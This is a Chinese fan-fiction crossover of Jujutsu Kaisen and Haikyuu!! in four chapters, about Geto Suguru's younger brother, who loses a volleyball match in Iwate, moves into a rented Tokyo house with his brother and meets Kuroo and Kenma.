《夏油弟弟,但小排球》 1. 第 1 章 岩手县,北上市。 北上第一体育馆,第三场馆。 红灰相间的背椅在观众席上延伸,上了年纪的浅棕黄色地板反射出刺眼的白色亮斑。夏秋交替之际的燥热空气里,混着淡淡的撒隆巴斯喷剂的味道。 三张白色球网并排挂在场地中央。最左边那张,一橙一黑的两支队伍正分立两侧。 场边,第二局比赛的计分牌停在13:23,下面并排贴着两个校名—— 【小豆】:【长光】。 在25分制的排球比赛上,23分作为局点的前哨,长光只要再拿下两分,比赛就会彻底结束了。 凝固的气氛自球场蔓延到观众席,看台不住地浮动着嗡嗡的嘈杂声,又笼罩回场地的上方。 观众、对手、队友……目光汇集的中心,自小豆的1号位,夏油幸转身迈过底线,走到足够的距离,站定。 “……” 汗珠顺着下颌滑到脖颈。闭上眼睛,按下周身的燥热,缓缓地呼出一口气。 无论接下来是怎样的局面,做合适的事,就是这样。 夏油幸睁开眼睛。 排球拍到地上,跳起,拍下,跳起…… “啪。” 排球高高抛起,夏油幸开始助跑。 一步,两步,三步—— 跃起的瞬间,大腿前侧紧绷,手臂高高摆起,自下肢到髋部到手掌,整个人宛如连成一线般,自下而上调动全身,身体在高空展成长弓—— “嘭——!!” 宛若重鞭般,排球以破空之势越过球网,砸向长光的场地。 早早等待在那里的,是长光整体后移的三人接发阵型。 长光的小个子自由人的视线早就牢牢钉在这颗球上,此刻身体半蹲,重心压低。 这场比赛中,他已经接过对面这位小豆王牌好几次球,但每一次都像现在这样,让他—— ——“嘭!” 小个子被震得重心一沉,好险屁股没有栽倒,但排球还是从他的手臂上弹起,飞向后方。 早有准备的长光二传立马追上,狂奔向场外。 ——不能再让那家伙ace了! 内心只有这一个念头。 哪怕胜券在握,也没有人想让这颗球再次落地。身为名门的长光,却在县内地区预选赛的第一场,被名不见经传的菜鸟排球部的王牌多次直接发球得分,这种事—— 排球即将飞向看台的前一秒,长光二传手硬生生把球追到。 已经来不及做出任何调整,只能大吼着,凭感觉将球向身后一送。 排球直接越过长光的场地,向小豆的前场区飞去。 “——ceball!!” 小豆排球部部长高桥大喊。 身体已经完全透支了。 在这场没有自由人可供替换的小豆比赛上,身为副攻,高桥从前排到后排,再从后排轮转到前排,拦网、接防、二传、快攻……豆大的汗珠自额头滑落脸颊。 比赛还没有结束……! 高桥咬牙将球垫起,小豆二传手佐藤调整方向,排球飞向夏油幸。 两步助跑,夏油幸三米线后起跳,挥臂扣下! 但是…… 跃起的瞬间,入目的,并不是宽阔的风景,而是三双如同鹰爪般,牢牢勾在球网上空的手掌。 “啪——” 蓝黄相间的曲线被铁壁阻挡,跌回小豆的前场。 “砰——!” 一只手贴着球场擦来,在排球与地板的中间,硬生生将排球挑起。 夏油幸落回地面,汗湿的刘海垂落眼前。来不及擦汗,他本能地向前跨了一步,膝盖刚要蓄力,又硬生生停住。 不行!脚已经踏进三米线内了,作为后排球员,他要是在这里把高于网口的球扣过去,就是犯规。 “——我来!”身后响起高桥的大喊。 配合着佐藤的极限救球,高桥全力扣出的这一球,终于还是被长光拦了回来。 “哔——”裁判吹哨。 小豆:长光=13:24。 还有1分。 此刻轮转到长光1号位的,是寸板头的队长。 之前就领教过这位的发球,佐藤朝左翼移动,夏油幸站在后排靠右,高桥占据中间。 不用思考,长光队长的目标是小豆二传手。 纵然有重鞭般的强势攻力,可是,如果没有合适的托球呢? 在这支无名的,以副攻兼队长高桥——二传手佐藤——王牌主攻手夏油幸构建起唯一一条进攻线的小豆队伍中,只要阻断二传手的组织,迫使对方接一传,威势便会大打折扣。 明知对方的打算,佐藤不得不接下这一球。 如果夏油幸和高桥朝他靠拢,小豆的场地上将留下巨大的空缺,等同于将这一分直接拱手让人。 唇边泛起苦笑,在对手笃定的目光中,排球撞上手臂,斜飞到上空。 高桥跃起,双手将球托向后方。 不用思考,唯一的选择。 在队伍最危险的时刻,能够依赖的、必定要依赖的……王牌——! 后排起跳! 汗液湿透后背,橙黄色的队服短袖卷着边贴在肩侧,对面依旧是三人拦网,依旧是铁壁—— 这个时候……必须是这样! 夏油幸毫无保留地用出所剩的全部力气。 “嘭——!!” 在佐藤和高桥喘着粗气的注视下,在长光拦网防线的死守中,伴随着那道高高跃起的身影,蓝黄相间的曲线砸开了高矗的指间,飞向长光的后场。 长光自由人朝那颗球冲去。 手臂叠成三角状,在即将跃向判断的落点的刹那,耳边炸响自家队长的吼声——“别接!!” 来不及思考,自由人遵从指令向后一跌。 “哔——” 排球擦着长光的底线外侧,落定。 裁判吹哨,朝长光的场地举起左臂——界外球。 小豆:长光=13:25。 比赛结束了。 …… 替补席旁,小豆一片低迷。 矿泉水瓶被拧开又合上,毛巾搭在肩头,汗水顺着发尾一点一点往下落。后辈们低着头,歉疚地垂下眼睛,不敢看面前的前辈们。 小豆排球部部长高桥的目光滑过这一张张稚嫩的面孔,宽慰道:“大家,我、佐藤、夏油,我们三个三年级的,今天就要退部了。” < p>“呜……!” “不要难过,不要觉得自己没能帮上忙。作为我们小豆排球部来说,今年才凑到足够的人数,能打这样一场比赛,我很开心。” 高桥宽慰了几句,佐藤插话道:“要哭出去哭,下一队马上就要上场了。” 高桥忙指挥后辈们拿好自己的背包和水瓶朝外走,余光捕捉到正埋头坐在替补席凳子上的夏油幸,高桥停下脚步,伸长胳膊拍了拍他的肩膀。 “夏油,走了?” 夏油幸站起来,跟着大部队向外移动。左手握着水瓶,右手食指和小指卡住手机,拇指飞快地在屏幕上移动。 “谢、咳——”高桥的嗓子已经累哑了,“谢谢你答应打比赛,夏油。” 走在旁边的佐藤道:“说起来,我和高桥已经打算考大沢了,你呢?” “东京。”夏油幸头也不抬道。 “东京?”佐藤眉头疑惑地皱起,又展开,“啊,你是为了夏油前辈吧。他还好吗?” “你很关心嘛。”夏油幸说着,慢悠悠地抬起眼睛。 那是一双异瞳,一黑一金,差异分明地嵌在冷白调的脸上。 少年拥有着优越的五官,脸侧的线条冷淡而平直,唇线挑起,似笑非笑。唯独那双眼睛…… 初见之时,向来胆大的佐藤和高桥也忍不住吓了一跳。 注视着这双眼睛,高桥忽然想起往事。 二年级的时候,高桥已经被学长们半开玩笑半认真地推成了下一任队长。拖地、搬球筐、统计出勤、安抚一年级,各种各样的杂事,一件件都落到他身上。 夏油幸就是在这个时候,和教练一起被打包过来的。 前空手道部唯一部员,威名在外的打架能手。高桥狠狠捏了一把汗,收获的却是王牌。 而今天,也是他把已经在准备升学的夏油幸,拜托回了球场。 思及过去,高桥忍不住道:“夏油,你还会打排球吗?” 夏油幸道:“看情况吧。排球还是别的,对我来说没有什么不同。” “‘全国大赛再见’,这句话就不和你说了。” 夏油幸点点头,转身朝另一个方向走去。 赛场上用尽全力的起跳、扣球、跑动,沸腾的血液,伴随着得分的嘈杂喊声,暂且压制住疲惫,还在四肢残留着躁动的余韵。 指尖敲着手机背面,发出清脆的声音。 对了。 果然还是有那点不够——力气用得太多,就容易将球打到界外。 明明清楚这点,却还是这样做了。并不会为此后悔,确实别无选择。 高桥和佐藤已然精疲力尽,如果不使用足够的力气,那么排球只会被长光的铁壁阻拦。 不想让排球落到地上,却落到了界外。 如果背后的人多一点,会更好吧。 不过,比赛结束了。 踏出体育馆,迎面笼罩下来的,是燥热的阳光。夏油幸十分讨厌这样的天气,此刻忍不住皱了皱眉,左手搭在额头上。 日光太盛,照得屏幕都有些看不清,夏油幸眯起眼睛,右手飞快地在屏幕上敲下一行字—— [尼桑,人家打完比赛啦~你那边怎么样?] 邮件发送成功。 2. 第 2 章 东京。 时值八月,太阳似火烧。 这是居民区一幢不起眼的一户建。边缘发脆的树叶被风吹离树枝,打着卷飞向那处,靠近栅栏,一瞬间消失无影,仿佛从来没有吹落过。 街道上,车辆依旧以均匀的速度流淌,行人目不斜视,夹着公文包继续匆忙路过。 无人知晓,笼罩在这幢三层一户建上空的,黑色的巨蛋。 “不要这样啊……夏油君。” “……在说什么啊,山下桑。” 名为山下的辅助监督自门锁前抬头,望向身旁的少年:“我在这里撬门,你却在旁边兴奋地聊天,这公平吗?” “……” “我说啊——”山下好似吃了柠檬,“年纪轻轻的要好好学习,不要忙着谈恋爱,等到了我这个年纪再——” “山下桑。”夏油杰忍无可忍地打断,“我是在和欧豆豆发消息。” 欧豆豆?山下一愣,立马换上捉摸不定的表情。 夏油杰额头挂上一滴汗,干脆往后边挪了两步,抬手示意对方看这个院子里的小花园。 “怎么?”山下纳闷道。 “那里有修剪过的痕迹,是吗?说不定是有人刚刚剪过的哦。” “不是吧——那个机构,呃,‘窗’说,这房子闲置很久了啊!” “速战速决吧,山下桑。” “真是的……第一天上班就要干上偷鸡摸狗的事,幸好人家之前在夏威夷学过开锁……” “夏威夷还能学撬门?”手指在屏幕飞动,夏油杰轻飘飘地道,“看来我明天就得去趟夏威夷。” “咔。”山下把一字夹拔出来,“好了,夏油君。” 夏油杰对山下笑了笑,迈步走进房子里。 “咒灵,在这里吗……”山下忍不住缩了缩。 “一楼没有。”夏油杰道,“我去上面看看。” 山下忙道:“快去快回啊。” 夏油杰沿楼梯走上二楼。脚步顿了一瞬,继续往上。 二楼到三楼的拐角,夏油杰从兜里掏出手。 “咒灵操术。”少年轻轻道。 一道黑影自三楼飞速掠来。相撞的一瞬,黑影消失。仿佛从未出现一般,唯有高中生右掌心多了一颗黑色小圆球。 任务结束得比想象中更快。夏油杰顺着楼梯往下走,经过二楼时,目光划过客厅,脚步不禁慢下了来。 这实在是一个处处透露着生活气息的房子,并非色彩缤纷,整体是传统的和式浅淡风,但并不显得白花花一片。 米色布艺沙发宽大而柔软,上面搭着一张白色棉质薄毯,青石的小圆桌是整个空间的唯一亮色。一旁的开放式厨房布置了宽大的双面岛台,地面通铺着浅棕色的木地板。室内十分宽敞,除客厅和厨房以外,粗略一扫,二楼还有三个房间。 没等他多看两眼,楼下突然爆发惊天惨叫。 “啊啊啊——快来啊——”山下的叫声足以掀翻屋顶,“夏油君——!!” …… “真是的。” 深绿色的绒质沙发上,一个山羊卷老太太翘起二郎腿,无聊地靠在配套的靠枕上。 “随便地闯到人家家里来——我说,你们到底是什么人。” 皮肤皱巴的右手握住镶嵌着红宝石的拐杖顶,“碰碰——”,老太太用力将拐杖敲到面前的浅棕色地砖上。收回的时候,拐杖尾巴毫不留情地戳进一只鞋面。 “啊——!”山下冒出泪花,“老婆婆——真的很抱歉打扰,那个,我们是、我们是——”山下的胳膊肘飞速捣向旁边。 “——区役所。” 话脱口而出的瞬间,夏油杰自己也一愣。他佯装淡定地把山下的胳膊推回去,继续道:“我们是……区役所的工作人员。附近有人反映,这栋房子很久没有人进出,记录上又显示房主是一位老人,所以……” “啊,怕孤独死啊。”老婆婆道。 “是啊。”山下连忙附和。 “看到您精神这么好,我们就放心了。”夏油杰微笑道。 山下不禁露出近乎敬畏的目光。 山羊卷老婆婆掀起眼皮,打量了夏油杰两眼,左手伸进一旁的包里,掏出一只手机,在屏幕上点了两下后,举起来。 夏油杰和山下情不自禁地一起凑过去。 “——‘窗’,那个机构,说这房子闲置很久了。” 右上角标着时间的监控画面中,一个男人手持一字夹,捣入大门锁孔,大大咧咧地和同伙交谈道。 撬锁男人:“……” 同伙:“……” 漫长的沉默。 “——那、那个,”山下挠挠头,“‘窗’其实是区役所的一个下属机构来着,新开的,哈哈哈……” “咒术师。”老婆婆开口。 掐住脖子似的,山下的尬笑戛然而止。 夏油杰愣住了。 “是咒术师吧。”老婆婆重复了一遍。 夏油杰和山下对视一眼。 “不用这副表情。”老婆婆摆摆手。 这张沙发朝阳,自透亮的窗户照进来的日光覆盖在老婆婆的山羊卷上,照得一头银发闪闪发亮。老婆婆手持拐杖,轻飘飘道:“老婆婆我见过的人堆起来,已经有十座富士山那样了。” 山下愣愣道:“您……” 老婆婆懒洋洋地掀起眼皮。 “您……”山下深吸一口气,“您既然知道,为什么要吓唬我啊——!” < p>“……”老婆婆掏了掏耳朵,“我是不是应该追究你们的责任?我想想——住居侵入、器物损坏,还有……” “私密马赛。”山下鞠躬。 “真是抱歉。”夏油杰道,“不过,这栋房子的三楼有一只咒灵,我们已经祓除了。” “谢谢啊。”老婆婆道。 “您能体谅真是太好了。今天已经非常打扰,十分冒昧,不过——” “冒昧的话,就不用说了。” “不过,”夏油杰努力装作没听到,“这栋房子,您有出租的打算吗?” 嗯?老婆婆睁开一双豆豆眼,盯向夏油杰。 哈?山下不可置信地瞪过来。 目光汇集的中心,夏油杰不动如山,继续看向老婆婆,语气礼貌地再次道:“请问,您有出租的打算吗?” 良久的沉默后,老婆婆缓缓道:“……你,还是未成年人吧。” “我可以做决定。”夏油杰道。 “夏、夏油君……”山下不得不提醒这个高中生,“咒术师学校是分配宿舍的,对吧?你不住了?你知道东京的房租有多贵吗?” “谢谢你,山下桑。”夏油杰道,“实不相瞒,我弟弟即将来到东京读书。我已经看过很多套房子了,不过……” 山羊卷老婆婆合上眼皮,右手在拐杖顶端摩挲起来。 …… “呼——你也真是敢啊,夏油君!” 一户建的栅栏外,山下撤掉「帐」,狠狠地喘了几口气。 “总之……先试试再说。对了,山下桑,今天晚上的任务报告,我会把这件事写上去的。” 夏油杰左手握腰,站在大街上,希望有一阵风吹来,将他冷却几分。不过炽热的空气带来的,只有汗湿的后颈。 “好热啊。”山下嘟哝道,“说起来,夏油君,你真有个弟弟吗?” “是真的。”夏油杰右手点开屏幕,编辑好几张照片发送过去——刚在屋子里拍的,在山羊卷老婆婆的注视下。 手机“叮”了一声,屏幕立马弹出回复的邮件—— [很满意!!] 山下有些好奇地瞄了两眼:“夏油君,听说你是东北人,你弟弟也要来东京念书,不是咒术师么?哪个学校啊。” “音驹高中。” 话音刚落,这条居民区的小路上,一般路过的背包少年,黑发支棱得格外醒目,情不自禁投来目光。 夏油杰编辑好邮件,正要按下发送键,似乎察觉到了什么,扭头看去。 四目相对的瞬间,鸡冠头少年率先露出爽朗的笑,大大方方地点头。 夏油杰回以致意,目光收回的瞬间,不经意划过对方胸前那枚小小的校章。 ——音駒。 3. 第 3 章 ——考上了。 音驹考上了。 资格审查、寄送材料、出愿、受验、录取结果公布、入学手续…… 一套操作下来,从去年秋天忙活到今年春天,已经一脚迈进了4月,眼看着马上就要开学了,夏油幸才有时间整理房间、收拾行李。 回过头一想,去年他打的那场排球比赛,确实起到了不错的放松作用啊,居然是这段时间以来他唯一的大型娱乐活动! 此时此刻,夏油幸跪坐在自己待了十五年的房间的榻榻米上,努力地往行李箱里狂塞,只希望自己不要为遗漏的东西再坐新干线回来一趟。 “幸,这个要带吗?” 夏油幸扭头,看到一张大大的浴巾,后面冒出自家老妈的脸。 “不要啦!”夏油幸黑线。 “真是的,不做做纪念吗?”夏油妈妈蹲到儿子身边,“我昨天在路上遇到高桥夫人和佐藤夫人,都说她们的儿子要去大沢念高中。音驹的排球怎么样,还是大沢的有名一些吧?” 夏油幸叠衣服的动作没停,但有些茫然地道:“排球?” “是啊。幸排球打得很好吧,不打算继续吗?” “这种事,随便啦。” “真是宽裕的话啊。” “嗯哼。”夏油幸摇摇头,“您是不放心我去东京吗?” “倒不是不放心,”夏油妈妈笑着说,“再说,有你哥哥照顾你,我没什么可担忧的了。” “妈妈!”夏油幸手上顿时一顿,抬头强调,“别再把我当小孩子了,就不能是我去照顾哥哥吗?我长大了,要照顾哥哥!” “哈哈哈,好吧——杰,”夏油妈妈憋笑着举起正在通话中的手机,打开免提,“你弟弟说要照顾你——” 话筒传来含笑的声音:“好啊,小幸来照顾我吧。” “尼桑,等我过去再聊!”夏油幸连忙伸手挂断电话,“老妈!” “真是的。”见通话断了,夏油妈妈按掉手机,摇摇头,“居然这样黏,你小时候不是还不肯和哥哥待一起吗?” 夏油幸大叫:“妈妈,我没有!” “啊哈。”夏油妈妈脚下生风,飘动到客厅,又飞速从客厅飘回夏油幸所在的卧室,把手里的证据举到小儿子眼前,“喏——” 那是一张全家福,拍摄于很多年前。 照片上夏油妈妈烫着潮流的圣子头,泛着摩丝光亮的卷发搭在红色衬衫上,下身是绿色长裙,垂在左边的手勾住丈夫的小指。留着规整七三分的男人弯起细长的眼睛,唇边露出一个薄薄的笑。灰蓝色的布景在身后铺开,两人身前是两个留着一模一样的短短的妹妹头的小孩子。 一个哭嚎得连下排牙都被照得清楚,另一个则矜持地对着镜头抿唇微笑。 夏油幸眼前一黑,连忙别过脸。 他大叫:“老妈!拜托不要总做些翻人旧账的事啊。” 夏油妈妈笑:“怎么了,这张照片不是一直放在电视柜上的吗?” “所以我才从不靠近电视柜啊,真是的!” 夏油妈妈忍俊不禁:“啊呀——那时候还吵着要分房睡,家里没有第三个卧室给你,你才肯罢休。” “……”夏油幸脸上冒热气,干脆厚着脸皮道,“老爸不是经常说那种话吗,‘你们是一个屁股的两半’——我和哥哥关系好还不行?” “好吧好吧~”考虑到时间,夏油妈妈遗憾地停下逗小儿子的嘴巴,“这箱东西也要带吗?是不是太多了。”她拍了拍放在夏油幸打包中的行李箱右边的一个纸箱子。 半敞的纸箱子还没被封上透明胶带,能够看到里面散落着的各式纸片,有信封、报纸、杂志页,还有花花绿绿的广告之类的……夏油妈妈好奇地俯下身。 “这个是必须的。”夏油幸“啪”地合上纸箱,两只手牢牢按在上面。 夏油妈妈直起身:“那你就加油吧。” …… 终于踏上了前往东京的旅程。 有些箱子之前就寄走了,有些箱子等待陆续寄出。夏油幸出门后自己寄了个封好的纸箱,右手拉着大号行李箱,自北上駅出发了。 去东京的道路非常曲折,先坐东北新干线去盛冈,再从盛冈坐到埼玉的大宫,好不容易到东京了还要在池袋转车…… 夏油幸从最后的电车上下来。 4月,空气带着一丝凉意。路边栽种的樱花树盛放着,粉粉白白的花瓣落到浅灰色的路面。成片的住宅,静静地坐落在这东京的一角。 有自行车的叮铃声穿过街道,忽隐忽现响在耳边,夏油幸拉着行李箱,走了进去。 左拐一个路口,彻底进入了这片居民区。一栋又一栋一户建用栅栏分隔开来,均匀地排列在街道旁,建筑右边是一条稍宽的道路,长长地蜿蜒而上。 夏油幸打开手机,对着邮件里哥哥发来的指路一点一点往前走。 从下车的路口走进去,他的目标在这片居民区的靠里处,不过位置上讲,倒是离他即将入学的音驹高校更近一点。 照着邮件的指示走,没过很久,夏油幸拐过两个弯,眼前出现一辆白色的配送车,他心中顿时一定。 果不其然,就在那辆配送车停放的一户建的门口,隔着栅栏,夏油幸看到一道熟悉的背影。白衬衫黑长裤,正背对着他,低头看地上的一个半人高的纸箱子。 夏油幸忍不住笑起来。 他关掉手机,放缓脚步,蹑手蹑脚地朝那处走去。 顺利穿过大敞的铁栅栏,绕开地上的纸箱,夏油幸目标明确,两只手朝那人腰间袭去。 眼看着要抱到了,忽然眼前一花,夏油幸扑了个空,右手腕被人握住,夏油杰笑着回身看弟弟:“我早就感觉到了哦。”然后松开手。 夏油幸也笑了,干脆直接一把抱上去。 还没来得及多说两句,耳边传来鸣笛声和发动机熄火的声音。 夏油幸松开哥哥,抬眼一看,又一辆配送车在栅栏旁停下。 接着,又来了一辆配送车。 眨眼之间,三辆白色的配送车将门口占得严实。 夏油幸一愣,这才想起打量这间即将成为自己新家的小院子。 “……”夏油幸简直吓了一跳。 “尼桑……这是什么啊……” 夏油幸指着堆在身边的大大小小的箱子——他刚才进来的时候居然没有发现?不对,到底是买了多少啊! “毕竟,小幸要在这里住三年啊。” “是‘我们’啦!” “是。”夏油杰笑道,“不过任务实在不方便的话,我还是需要去宿舍住。起得大早,还需要别人开车来接的话,我会不好意思的。” “知道啦——”夏油幸环视一圈,“尼桑,你这是买了三年份的?” “怎么会。”夏油杰略微惊讶道,“只是稍微买了一点空调。列了清单,有些家具被老婆婆带走了,有些用折扣价留给了我们,空调安装也是之前预约下来的……” 一番讲述下来,夏油幸听的一愣一愣的:“哇,这位老婆婆这样热心。” “那位老婆婆似乎在很多地方都有房产……能够顺利地租到这栋房子,还能够安装空调,多亏了她的松口……” “请问是夏油先生家吗?我们是家具配送——” 夏油杰停下话语,向门口点头:“拜托了。” 另一辆车上的配送员也下了车,站在玄关口探头望向楼梯:“要上二楼或者三楼吗,楼梯转角过得去吗?” 夏油杰点头:“量过了,可以。拜托了。” 新的配送员也开始忙活了,夏油杰在院子里点着箱子核对,余光扫了扫栅栏外面排排停靠的三辆配送车,几乎占了一整截道路,摇摇头:“我也帮忙搬上去吧。” 夏油幸举手:“我也来——” “啊,这个我们来搬就可以了。” 配送员连忙伸手阻拦,夏油幸却已经挑了个箱子抱起。 “早搬完早结束。”说着,跟在哥哥身后,夏油幸轻快地朝楼梯走去。 兄弟俩的声音渐行渐远地飘来—— “小幸,小心脚下,小心撞倒,不要勉强哦……” “好啦……” “……”配送员一巴掌拍到自己胳膊上。 缓缓扭头,对身旁同样呆住的另一个配送员道:“……那、那个……是两人份的,是要两个人一起搬上去的,对吧?” “……继续……搬、搬吧。” “……嗯。” …… 随着一件件家具、电器被轻描淡写地抱上去,等到确认签收环节,配送员已然一脸魂不守舍,颤巍巍地将单子和签字笔递往夏油杰的方向。 “请、请签……” “我也来吧。”夏油幸抬脚跨过纸箱,走到另一个等待签字的配送员身前,接过圆珠笔,龙飞凤舞地签上「夏油」的字样。 就在 配送员收拾散落院中的包装材料准备带走之时,夏油幸最盼望的空调安装师傅上门了。 从小在一户建中长大,夏油幸对这冬冷夏热的特性再熟悉不过了。更何况,这里是比岩手更热的东京。 ——空调,是必备之物啊! “拜托了。” 承载着两道目光,空调师傅上楼了。 夏油幸琢磨着,歪头靠在哥哥肩膀上:“我们选个房间放张被炉吧,冬天就在那里吃饭。” 夏油杰点点头,干脆拉着弟弟上楼逛。 夏油幸笑着把外套脱下,丢到沙发上,只穿着长袖T恤,清清爽爽地上楼了。 之前夏油幸来来回回东京岩手跑,都是和考试、材料、手续有关的事,虽然在这里住过几晚上,但没有哪个闲时候,将这个他接下来要住三年的地方里里外外地逛一遍。 从外面看,这栋一户建与这片的其他一户建的外型并无太大不同,整体呈现一种规整的端正感。 不过,根据哥哥的看房经验,这栋一户建内部的户型与布置,是在音驹附近看过的所有房子里,拔头筹的一个。 布局精巧,空间利用得恰到好处,自一楼到三楼,一层层地次第开阔起来,朝南的窗户擦得透亮,初春温凉的阳光洒了一地鹅黄。 睡觉的卧室是之前就决定好的。三楼朝阳一左一右有两间房,夏油幸要了右边那间,对门靠左的那间就是哥哥的。这一层还有一个房间,兄弟俩商量了一下,干脆将它作为衣帽间来使用。 二楼可供使用的空间是最宽敞的,布置着厨房、浴室、洗衣房,还有一间宽敞的客厅。夏油杰带弟弟停到某个房间门口。 拉开拉门,靠窗已经放好一张十分开阔的桌子,旁边还立着两张空闲的书架。 “以后在这里做事,怎么样?” 夏油幸欣然点头。 剩下的地方就随意啦,不着急一时半会儿,不过留出一间,作为放置被炉的冬日聚会所,是确定的。 忙活了一下午,大大小小的家电安放好了,空调也试运行完毕。送走了空调师傅,夏油杰站在二楼的客厅,打量着四周,决定动手,先把屋子打扫一圈。 先拿抹布擦擦岛台和一体式厨房,余光瞄到旁边的厨具,夏油杰心念一动,对弟弟道:“小幸,出去买点东西回来,好吗?” “要什么?” “我想试试这个锅,”夏油杰略一思忖,“嗯……小幸是从右边来的吧,出门后往左拐,一直走到路口,再往右拐,街边就有一个超市,稍微买点晚饭的东西回来,拜托了。” 夏油幸轻快地出门了。 褪去寒冬料峭又未步入酷暑的春季,以及燥热散去夹着凉意的秋季,是夏油幸最喜欢的两个季节。 顺着哥哥的线路,超市很快映入眼帘。少年身形高挑。甫一走进,便吸引了一些目光,待到落到他那双毫无遮掩的眼睛上,顿时出现了一些游移不定。对这样的打量,夏油幸习以为常。 视若无睹,他淡定地穿梭在各个货架之间,先是去熟食区拿了两份便当,一份猪排盖饭,一份天妇罗荞麦面。想了想,又拿了盒鸡蛋和几瓶牛奶,剩下的之后再说吧。最好和哥哥两个人一起过来,或者去更大的超市逛一逛。 挑挑拣拣,拿了四五样东西之后,夏油幸走向收银台。前面的女人结账离开之后,马上就到了夏油幸。 收银员将几样东西扫码后,面带微笑地对夏油幸道:“二千三百六十円。” 夏油幸点点头,朝口袋摸去。 这一摸,摸了个空。 右手手指顺着腰侧滑了两下,夏油幸这才想起来,之前自己搬东西完嫌热,把外套脱在沙发上了。 钱包躺在百米外的外套口袋里,这片小小的空间,出现了令人尴尬的寂静。 左手还搭在收银台的台面上,夏油幸沉默半晌,道:“抱……” 话刚说了个开头,自身后传来一道声音。 “——没带钱吗?” 随着声音一起前来的,是一只夹着几张纸币的手。 顺着黑色的袖口沿胳膊朝后望去,夏油幸转身,入目是一张微笑的脸庞。 一个陌生的、梳着奇怪鸡冠头的少年,正挑着眉看着他。 四目相对的瞬间,少年脸上划过几不可见的怔愣,随后泰然自若地将右手收回一截,浅青蓝色的千円札在夏油幸眼前晃了晃。 “不介意的话,先替你垫上吧。” 4. 第 4 章 每个地区的人,都不断被某种刻板印象束缚着。 比如他们岩手县人,什么顽固忧郁踏实隐忍,差不多类似的形象,说到东京人,就是边界与冷漠了吧。 从他短暂的听闻与接触中,无论是房东老婆婆,还是这位鸡冠头少年,都是热心肠啊。 夏油幸道谢后挪到一边,鸡冠头少年爽快地把正抓在左手的两瓶水放到收银台上,和夏油幸的几样东西一起结了账。 走出超市,阳光照在身上,带着春寒的风又驱散了这不多的暖意,夏油幸拎着塑料袋,对鸡冠头再次道谢。 鸡冠头朝他摆摆手:“不客气,鄙人一向助人为乐。” 话音落下,他脸上立刻浮起坏笑,健康的大白牙闪亮而过。 夏油幸:“……” “钱——” “不聊了。”鸡冠头笑容一收,煞有介事道,“我要去体育馆练球。” 他指了指自己身后的背包。 夏油幸没往那里看:“钱的事——” 鸡冠头却直接转身,从路边阴影里拔起一个黑色人形物体。两道身影就这么靠在一起,快步朝前移动。 “……”夏油幸足足愣了一秒。 他象征性地往前追了两步:“联系方式——” 鸡冠头伸出一只手朝他挥了挥:“音驹见——” “……” ……音驹? 夏油幸顿住脚步,狐疑地看着那道背影。 这家伙是音驹的,又怎么知道他是音驹的? …… “小黑……” 去体育馆的路上,孤爪研磨握着游戏机,闷闷的声音从垂下的黑发后传出:“你为什么要……” “嗯哼。”黑尾铁朗握着矿泉水,挑眉,道,“研磨,你还记得那个计划吗?” “什么啊……” “当然是排球部的事了!” “那个啊……” “我说啊——”黑尾铁朗拍了拍身旁人的肩膀,“好不容易等到你上高中,我们在音驹组起一支像样的队伍,这件事,不是早就说好了吗?” “啊……” 黑尾铁朗松开手:“海纳百川——” 孤爪研磨终于舍得从游戏机上抬头,慢吞吞地看了幼驯染一眼:“小黑,你的表情……” 黑尾铁朗露出无辜的神色。 就在几个小时之前,孤爪研磨照常来他卧室一起打游戏。最后的关卡十分难缠,向来蔫答答的孤爪研磨在这种事上总是爆发一往无前的热情,乐此不疲地按下重开的键。 黑尾铁朗的眼前浮出抗议的眩晕色块,连忙放下手机,站到窗边,拉开窗户呼吸新鲜空气。 远眺着街道尽头成片的粉色樱花树,耳边不断响起的杂音夺走了他的注意。 隔壁搬来了新邻居,黑尾铁朗早就知道。 看来今天是一次彻底的搬家日啊。 这么想着,他的目光轻飘飘地滑向隔壁的院子。 “……” 黑尾铁朗的眼睛慢慢睁大。 “……喂,研磨,”足足过了好几秒,他才找回自己的声音,“你快过来……隔壁……” 身后发出游戏机欢快的biubiu声,以及幼驯染敷衍的“嗯嗯啊啊”。 “真的假的……” 看着隔壁院子里的两道灵活的身影,黑尾铁朗不禁目瞪口呆。 一边是送货员一前一后两个人抬箱子,一边是一个人轻轻松松地抱起。 甚至,刘海的那位和短发的那位嘴唇不住地动着……还有力气聊天?! “……”黑尾铁朗缓缓合上嘴巴,目光挪动,隔空确认着箱子上印的品牌名。 通过包装的纸箱无法百分百确认物品的大小,易碎的小型电器、家居用品也很可能被包装成较大的箱子,但是…… 手指抵在下巴上。 “喂,研磨……” 身后依旧是游戏机欢快的biubiu声。 “我之前和你说的是音驹吧?就是那个……马路上遇到的刘海君,隔壁那个。” - 夏油幸拎着塑料袋,快步走在回家的路上。 陌生的街头,但只要记得来时的路线,就能马上回去。 砖红色的屋顶扣在最上方,粉刷成白色的屋体已经显出岁月的昏黄,顺着墙面流下的一道道灰黑印痕,被间隔种下的柏树的树尖遮去尾部。走过拐角一路望去,排排坐落的一户建们,整体露出一种生疏的祥和。 贴在栅栏上的名牌已经出现在前方——「夏油」。 夏油幸心中,忽然浮起无法言说的感觉。 脚步加快,塑料袋在腿边哗啦哗啦。夏油幸推开大门,在玄关处几不可见地一顿。换上拖鞋,三步并两步,跨到二楼,脚步一停。 “呼……” 夏油幸靠在楼梯扶手上慢慢呼气。 “尼桑……!” “小幸?”夏油杰刚好把客厅扫完。 急促的脚步声和弟弟的声音同时在身后响起,夏油杰握着扫帚回头。弟弟不知道为什么一脸恍惚地站在楼梯口,也不放下塑料袋。 “我刚才走在街上,走到院子,眼前是陌生的东西。明明知道是自己租的房子,却忽然有种误入了别人家的感觉。站到玄关,差点脱口而出一句‘打扰了’。” 夏油杰弯起眼睛,朝弟弟轻轻前倾身体:“那么,欢迎回家。” “哦。”夏油幸把斜靠的身体一收,两只手握住塑料袋,回礼道,“我回来了。” 这个姿势没维持两秒,夏油幸一跳,飞扑到哥哥身上:“啊!我们这是在做什么——过家家吗?” “好重。”夏油杰拍了拍弟弟的大腿,“快点下去。” “知道啦——!” 整个屋子大致清扫了一遍后,在空调缓缓的运作声中,夏油杰打开塑料袋,看了看弟弟买回来的东西。 “——鸡蛋。” “嗯呐。”夏油幸抱着哥哥点头:“荞麦面是你的,盖饭是我的,天妇罗和猪排我们还是对半吧。” “那我简单地做玉子烧好了。”夏油杰思忖着找碗准备打蛋,“没有油的话,会糊底吧。” “我会大力地把它们刷掉——” 接下来的七天,冰箱、书架、衣柜,各个地方逐渐被填满。在不断地目送与迎接哥哥回家,以及聊天吃喝睡觉中,夏油幸的东京生活走过了开场。 